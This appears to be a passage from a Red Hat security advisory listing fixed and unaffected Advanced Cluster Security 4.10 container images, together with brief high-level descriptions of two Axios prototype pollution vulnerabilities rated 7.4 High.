| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le | — |
Threats
Impact
Important
A flaw was found in Axios, an HTTP client library. This vulnerability allows an attacker to exploit a prototype pollution issue if another part of the application has already polluted the Object.prototype. By doing so, the attacker can intercept and modify JSON responses or take control of the HTTP communication. This could lead to unauthorized access to sensitive information like user credentials and request details.
7.4 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64 | — |
Vendor Fix
fix
|
Known not affected
43 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le | — |
Threats
Impact
Important
A flaw was found in Axios, a software library for making network requests. A remote attacker can exploit a prototype pollution vulnerability to inject arbitrary HTTP headers into outgoing requests. This occurs when the application's core object definitions are manipulated, causing Axios to misinterpret data and include attacker-controlled headers in network communications. This could lead to unauthorized actions or data manipulation.
7.4 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
43 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64 | — |
Workaround
|
|
